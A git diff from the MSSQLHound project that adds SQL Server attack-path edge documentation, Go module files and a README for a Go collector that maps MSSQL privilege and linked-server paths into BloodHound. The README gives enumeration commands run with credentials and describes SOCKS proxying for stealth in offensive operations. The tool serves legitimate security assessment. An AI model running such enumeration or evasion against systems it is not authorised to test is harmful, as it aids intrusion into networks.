_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| +| **Credential ID**: uint | • The identifier the SQL Server instance uses to associate other objects with this principal | +| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources | +| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance | +| **Create Date**: datetime | • When the credential was created | +| **Modify Date**: datetime | • When the credential was last modified | +| **Resolved SID**: string | • The domain SID for the credential identity | + +### `MSSQL_HasProxyCred` +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| +| **Authorized Principals**: List | • Principals that are authorized to use this proxy credential | +| **Credential ID**: string | • The identifier the SQL Server instance uses to associate other objects with this principal | +| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources | +| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance | +| **Description**: string | • User-provided description of the proxy that uses this credential | +| **Is Enabled**: bool | • Is the proxy that uses this credential enabled? | +| **Proxy ID**: uint | • The identifier the SQL Server instance uses to associate other objects with this proxy | +| **Proxy Name**: string | • The name used to identify this proxy in the SQL Server instance | +| **Resolved SID**: string | • The domain SID for the credential identity | +| **Resolved Type**: string | • The class of domain principal for the credential identity | +| **Subsystems**: List | • Subsystems this proxy is configured with (e.g., `CmdExec`, `PowerShell`) | + +### `MSSQL_LinkedAsAdmin` +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| +| **Data Access**: bool | • **True (enabled)**:
    • The linked server can be used in distributed queries
    • You can `SELECT`, `INSERT`, `UPDATE`, `DELETE` data through the linked server
    • Four-part naming queries work: `[LinkedServer].[Database].[Schema].[Table]`
    • `OPENQUERY()` statements work against this linked server
• **False (disabled)**:
    • The linked server connection still exists but cannot be used for data queries
    • Attempts to query through it will fail with an error
  • The linked server can still be used for other purposes like RPC calls (if RPC is enabled) | +| **Data Source**: string | • Format: `[\instancename]`
• Examples: `SITE-DB` or `CAS-PSS\CAS` | +| **Local Login**: List | • The login(s) on the source that can use the link and connect to the linked server using the Remote Login | +| **Path**: string | • The link used to collect the information needed to create this edge | +| **Product**: string | • A user-defined name of the product used by the remote server
• Examples: `SQL Server`, `Oracle`, `Access` | +| **Provider**: string | • The driver or interface that SQL Server uses to communicate with the remote data source | +| **Remote Current Login**: string | • Displays the login context that is actually used on the remote linked server based on the results of the `SELECT SYSTEM_USER` SQL statement on the remote linked server
• If impersonation is used, it is likely that this value will be the login used for collection
• If not, this should match Remote Login | +| **Remote Has Control Server**: bool | • Does the login context on the remote server have the `CONTROL SERVER` permission? | +| **Remote Has Impersonate Any Login**: bool | • Does the login context on the remote server have the `IMPERSONATE ANY LOGIN` permission? | +| **Remote Is Mixed Mode**: bool | • Is mixed mode authentication (for both Windows and SQL logins) enabled on the remote server? | +| **Remote Is Securityadmin**: bool | • Is the login context on the remote server a member of the `securityadmin` server role? | +| **Remote Is Sysadmin**: bool | • Is the login context on the remote server a member of the `sysadmin` server role? | +| **Remote Login**: string | • The SQL Server authentication login that exists on the remote server that connections over this link are mapped to
• The password for this login must be saved on the source server
• Will be null if impersonation is used, in which case the login context being used on the source server is used to connect to the remote linked server | +| **Remote Server Roles**: List | • Server roles the remote login context is a member of | +| **RPC Out**: bool | • Can the source server call stored procedures on remote server? | +| **Uses Impersonation**: bool | • Does the linked server attempt to use the current user's Windows credentials to authenticate to the remote server?
• For SQL Server authentication, a login with the exact same name and password must exist on the remote server.
• For Windows logins, the login must be a valid login on the linked server.
• This requires Kerberos delegation to be properly configured
• The user's actual Windows identity is passed through to the remote server | + +### Remaining Edges +Please refer to the `$script:EdgePropertyGenerators` variable in `MSSQLHound.ps1` for the following details: +- Source and target node classes (all combinations) +- Requirements +- Default fixed roles with the permission +- Traversability +- Entity panel details (dynamically-generated) + - General + - Windows Abuse + - Linux Abuse + - OPSEC + - References + - Composition Cypher (where applicable) + +All edges based on permissions may contain the `With Grant` property, which means the source not only has the permission but can grant it to other principals. + +| Edge Class
______________________________________________ | Properties
_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| + +| **`CoerceAndRelayToMSSQL`** | • No unique edge properties | + +| **`MSSQL_AddMember`** | • No unique edge properties | + +| **`MSSQL_Alter`** | • No unique edge properties | + +| **`MSSQL_AlterAnyAppRole`** | • No unique edge properties | + +| **`MSSQL_AlterAnyDBRole`** | • No unique edge properties | + +| **`MSSQL_AlterAnyLogin`** | • No unique edge properties | + +| **`MSSQL_AlterAnyServerRole`** | • No unique edge properties | + +| **`MSSQL_ChangeOwner`** | • No unique edge properties | + +| **`MSSQL_ChangePassword`** | • No unique edge properties | + +| **`MSSQL_Connect`** | • No unique edge properties | + +| **`MSSQL_ConnectAnyDatabase`** | • No unique edge properties | + +| **`MSSQL_Contains`** | • No unique edge properties | + +| **`MSSQL_Control`** | • No unique edge properties | + +| **`MSSQL_ControlDB`** | • No unique edge properties | + +| **`MSSQL_ControlServer`** | • No unique edge properties | + +| **`MSSQL_ExecuteAs`** | • No unique edge properties | + +| **`MSSQL_ExecuteOnHost`** | • No unique edge properties | + +| **`MSSQL_GetTGS`** | • No unique edge properties | + +| **`MSSQL_GrantAnyDBPermission`** | • No unique edge properties | + +| **`MSSQL_GrantAnyPermission`** | • No unique edge properties | + +| **`MSSQL_HasLogin`** | • No unique edge properties | + +| **`MSSQL_HostFor`** | • No unique edge properties | + +| **`MSSQL_Impersonate`** | • No unique edge properties | + +| **`MSSQL_ImpersonateAnyLogin`** | • No unique edge properties | + +| **`MSSQL_IsMappedTo`** | • No unique edge properties | + +| **`MSSQL_IsTrustedBy`** | • No unique edge properties | + +| **`MSSQL_LinkedTo`** | • Edge properties are the same as `MSSQL_LinkedAsAdmin` | + +| **`MSSQL_MemberOf`** | • No unique edge properties | + +| **`MSSQL_Owns`** | • No unique edge properties | + +| **`MSSQL_ServiceAccountFor`** | • No unique edge properties | + +| **`MSSQL_TakeOwnership`** | • No unique edge properties | diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..3b32bb1 --- /dev/null +++ b/go.mod @@ -0,0 +1,25 @@ +module github.com/SpecterOps/MSSQLHound + +go 1.24.0 + +require ( + github.com/go-ldap/ldap/v3 v3.4.6 + github.com/go-ole/go-ole v1.3.0 + github.com/microsoft/go-mssqldb v1.9.6 + github.com/spf13/cobra v1.8.0 +) + +require ( + github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect + github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 // indirect + github.com/go-asn1-ber/asn1-ber v1.5.5 // indirect + github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect + github.com/golang-sql/sqlexp v0.1.0 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/shopspring/decimal v1.4.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + golang.org/x/crypto v0.45.0 // indirect + golang.org/x/sys v0.38.0 // indirect + golang.org/x/text v0.31.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..b1dbcbe --- /dev/null +++ b/go.sum @@ -0,0 +1,109 @@ +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 h1:Gt0j3wceWMwPmiazCa8MzMA0MfhmPIz0Qp0FJ6qcM0U= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0/go.mod h1:Ot/6aikWnKWi4l9QB7qVSwa8iMphQNqkWALMoNT3rzM= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 h1:B+blDbyVIG3WaikNxPnhPiJ1MThR03b3vKGtER95TP4= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 h1:FPKJS1T+clwv+OLGt13a8UjqeRuh0O4SJ3lUriThc+4= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1/go.mod h1:j2chePtV91HrC22tGoRX3sGY42uF13WzmmV80/OdVAA= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1 h1:Wgf5rZba3YZqeTNJPtvqZoBu1sBN/L4sry+u2U3Y75w= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1/go.mod h1:xxCBG/f/4Vbmh2XQJBsOmNdxWUY5j/s27jujKPbQf14= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1 h1:bFWuoEKg+gImo7pvkiQEFAc8ocibADgXeiLAxWhWmkI= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1/go.mod h1:Vih/3yc6yac2JzU4hzpaDupBJP0Flaia9rXXrU8xyww= +github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= +github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= +github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 h1:oygO0locgZJe7PpYPXT5A29ZkwJaPqcva7BVeemZOZs= +github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI= +github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA= +github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= +github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/go-asn1-ber/asn1-ber v1.5.5 h1:MNHlNMBDgEKD4TcKr36vQN68BA00aDfjIt3/bD50WnA= +github.com/go-asn1-ber/asn1-ber v1.5.5/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= +github.com/go-ldap/ldap/v3 v3.4.6 h1:ert95MdbiG7aWo/oPYp9btL3KJlMPKnP58r09rI8T+A= +github.com/go-ldap/ldap/v3 v3.4.6/go.mod h1:IGMQANNtxpsOzj7uUAMjpGBaOVTC4DYyIy8VsTdxmtc= +github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= +github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= +github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8= +github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= +github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= +github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= +github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/microsoft/go-mssqldb v1.9.6 h1:1MNQg5UiSsokiPz3++K2KPx4moKrwIqly1wv+RyCKTw= +github.com/microsoft/go-mssqldb v1.9.6/go.mod h1:yYMPDufyoF2vVuVCUGtZARr06DKFIhMrluTcgWlXpr4= +github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ= +github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k= +github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME= +github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= +github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +golang.org/x/crypto v0.45.0 h1:jMBrvKuj23MTlT0bQEOBcAE0mjg8mK9RXFhRH6nyF3Q= +golang.org/x/crypto v0.45.0/go.mod h1:XTGrrkGJve7CYK7J8PEww4aY7gM3qMCElcJQ8n8JdX4= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.47.0 h1:Mx+4dIFzqraBXUugkia1OOvlD6LemFo1ALMHjrXDOhY= +golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc= +golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.31.0 h1:aC8ghyu4JhP8VojJ2lEHBnochRno1sgL6nEi9WGFGMM= +golang.org/x/text v0.31.0/go.mod h1:tKRAlv61yKIjGGHX/4tP1LTbc13YSec1pxVEWXzfoeM= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/go/README.md b/go/README.md new file mode 100644 index 0000000..6b57bd1 --- /dev/null +++ b/go/README.md @@ -0,0 +1,421 @@ +# MSSQLHound Go + +A Go port of the [MSSQLHound](https://github.com/SpecterOps/MSSQLHound) PowerShell collector for adding MSSQL attack paths to BloodHound. + +## Why a Go Port? + +The original MSSQLHound PowerShell script is an excellent tool for SQL Server security analysis, but has some limitations that motivated this Go port: + +### Evasion +- **Proxying**: PowerShell execution is easily detected. The Go version allows network traffic to be sent into the target environment through a SOCKS proxy to maintain stealth during offensive operations. + +### Performance +- **Concurrent Processing**: The Go version processes multiple SQL servers simultaneously using worker pools, significantly reducing total enumeration time in large environments +- **Streaming Output**: Memory-efficient JSON streaming prevents memory exhaustion when collecting from servers with thousands of principals +- **Compiled Binary**: No PowerShell interpreter overhead, faster startup and execution + +### Portability +- **Cross-Platform**: Runs on Windows, Linux, and macOS (Windows authentication requires Windows) +- **Single Binary**: No dependencies, easy to deploy and run +- **No PowerShell Required**: Can run on systems without PowerShell installed + +### Compatibility +- **PowerShell Fallback**: When the native Go SQL driver fails (e.g., certain SSPI configurations), automatically falls back to PowerShell's `System.Data.SqlClient` for maximum compatibility +- **Full Feature Parity**: Produces identical BloodHound-compatible output + +### Maintainability +- **Strongly Typed**: Go's type system catches errors at compile time +- **Unit Testable**: Comprehensive test coverage for edge generation logic +- **Modular Architecture**: Clean separation between collection, graph generation, and output + +## Overview + +MSSQLHound collects security-relevant information from Microsoft SQL Server instances and produces BloodHound OpenGraph-compatible JSON files. This Go implementation provides the same functionality as the PowerShell version with the improvements listed above. + +## Features + +- **SQL Server Collection**: Enumerates server principals (logins, server roles), databases, database principals (users, roles), permissions, and role memberships +- **Linked Server Discovery**: Maps SQL Server linked server relationships +- **Active Directory Integration**: Resolves Windows logins to domain principals via LDAP +- **BloodHound Output**: Produces OpenGraph JSON format compatible with BloodHound CE +- **Streaming Output**: Memory-efficient streaming JSON writer for large environments +- **Automatic Fallback**: Falls back to PowerShell for servers with SSPI issues +- **LDAP Paging**: Handles large domains with thousands of computers/SPNs + +## Building + +```bash +cd go +go build -o mssqlhound.exe ./cmd/mssqlhound +``` + +## Usage + +### Basic Usage + +Collect from a single SQL Server: +```bash +# Windows integrated authentication +./mssqlhound -s sql.contoso.com + +# SQL authentication +./mssqlhound -s sql.contoso.com -u sa -p password + +# Named instance +./mssqlhound -s "sql.contoso.com\INSTANCE" + +# Custom port +./mssqlhound -s "sql.contoso.com:1434" +``` + +### Multiple Servers + +```bash +# From command line +./mssqlhound --server-list "server1,server2,server3" + +# From file (one server per line) +./mssqlhound --server-list-file servers.txt + +# With concurrent workers (default: 10) +./mssqlhound --server-list-file servers.txt -w 20 +``` + +### Full Domain Enumeration + +```bash +# Scan all computers in the domain (not just those with SQL SPNs) +./mssqlhound --scan-all-computers + +# With explicit LDAP credentials (recommended for large domains) +./mssqlhound --scan-all-computers --ldap-user "DOMAIN\username" --ldap-password "password" + +# Specifying domain controller IP (also used as DNS resolver) +./mssqlhound --scan-all-computers --dc-ip 10.0.0.1 --ldap-user "DOMAIN\username" --ldap-password "password" +``` + +### DNS and Domain Controller Configuration + +```bash +# Use a specific DNS resolver for domain lookups +./mssqlhound --scan-all-computers --dns-resolver 10.0.0.1 + +# Specify DC IP (automatically used as DNS resolver if --dns-resolver is not set) +./mssqlhound --scan-all-computers --dc-ip 10.0.0.1 + +# Use separate DNS resolver and DC +./mssqlhound --scan-all-computers --dc-ip 10.0.0.1 --dns-resolver 10.0.0.2 +``` + +### SOCKS5 Proxy Support + +All network traffic (SQL connections, LDAP queries, EPA tests) can be tunneled through a SOCKS5 proxy: + +```bash +# Basic SOCKS5 proxy +./mssqlhound -s sql.contoso.com --proxy 127.0.0.1:1080 + +# With proxy authentication +./mssqlhound -s sql.contoso.com --proxy "socks5://user:pass@127.0.0.1:1080" + +# Combined with domain enumeration +./mssqlhound --scan-all-computers --proxy 127.0.0.1:1080 --dc-ip 10.0.0.1 +``` + +**Note:** SQL Browser (UDP) resolution is not supported through SOCKS5 proxies. Named instances must include explicit ports (e.g., `sql.contoso.com\INSTANCE:1433`). + +### Credential Fallback + +When `--ldap-user` and `--ldap-password` are not specified, the tool automatically reuses SQL credentials for LDAP authentication if the `--user` value contains a domain delimiter (`\` or `@`): + +```bash +# These domain credentials are used for both SQL and LDAP +./mssqlhound --scan-all-computers -u "DOMAIN\admin" -p "password" +``` + +### Options + +| Flag | Description | +|------|-------------| +| `-s, --server` | SQL Server instance (host, host:port, or host\instance) | +| `-u, --user` | SQL login username | +| `-p, --password` | SQL login password | +| `-d, --domain` | Domain for name/SID resolution | +| `--dc-ip` | Domain controller IP address (used as DNS resolver if `--dns-resolver` not specified) | +| `--dns-resolver` | DNS resolver IP address for domain lookups | +| `--proxy` | SOCKS5 proxy address for tunneling all traffic (`host:port` or `socks5://[user:pass@]host:port`) | +| `-w, --workers` | Number of concurrent workers (default: 10) | +| `-o, --output-directory` | Output directory for zip file | +| `--scan-all-computers` | Scan all domain computers, not just those with SPNs | +| `--ldap-user` | LDAP username for AD queries (DOMAIN\\user or user@domain) | +| `--ldap-password` | LDAP password for AD queries | +| `--skip-linked-servers` | Don't enumerate linked servers | +| `--collect-from-linked` | Full collection on discovered linked servers | +| `--skip-ad-nodes` | Skip creating User, Group, Computer nodes | +| `--skip-private-address` | Skip servers with private IP addresses | +| `--include-nontraversable` | Include non-traversable edges | +| `-v, --verbose` | Enable verbose output | + +## Key Differences from PowerShell Version + +### Behavioral Differences + +| Feature | PowerShell | Go | +|---------|------------|-----| +| **Concurrency** | Single-threaded | Multi-threaded with configurable worker pool | +| **Memory Usage** | Loads all data in memory | Streaming JSON output | +| **Cross-Platform** | Windows only | Windows, Linux, macOS | +| **SSPI Fallback** | N/A (native .NET) | Falls back to PowerShell for problematic servers | +| **LDAP Paging** | Automatic via .NET | Explicit paging implementation | +| **Duplicate Edges** | May emit duplicates | De-duplicates edges | + +### Edge Generation Differences + +#### `MSSQL_HasLogin` Edges + +| Aspect | PowerShell | Go | +|--------|------------|-----| +| **Domain Validation** | Calls `Resolve-DomainPrincipal` to verify the SID exists in Active Directory | Creates edges for all domain SIDs (`S-1-5-21-*`) | +| **Orphaned Logins** | Skips logins where AD account no longer exists | Includes all logins regardless of AD status | +| **Edge Count** | Fewer edges (only verified AD accounts) | More edges (all domain-authenticated logins) | + +**Why Go includes more edges**: For security analysis, orphaned SQL logins (where the AD account was deleted but the SQL login remains) still represent valid attack paths. An attacker who can restore or impersonate the deleted account's SID could still authenticate to SQL Server. The Go version captures these potential risks. + +#### `HasSession` Edges + +| Aspect | PowerShell | Go | +|--------|------------|-----| +| **Self-referencing** | Creates edge when computer runs SQL as itself (LocalSystem) | Skips self-referencing edges | + +**Why Go skips self-loops**: A `HasSession` edge from a computer to itself (when SQL Server runs as LocalSystem/the computer account) doesn't provide meaningful attack path information. + +#### `MSSQL_AddMember` Edges + +| Aspect | PowerShell | Go | 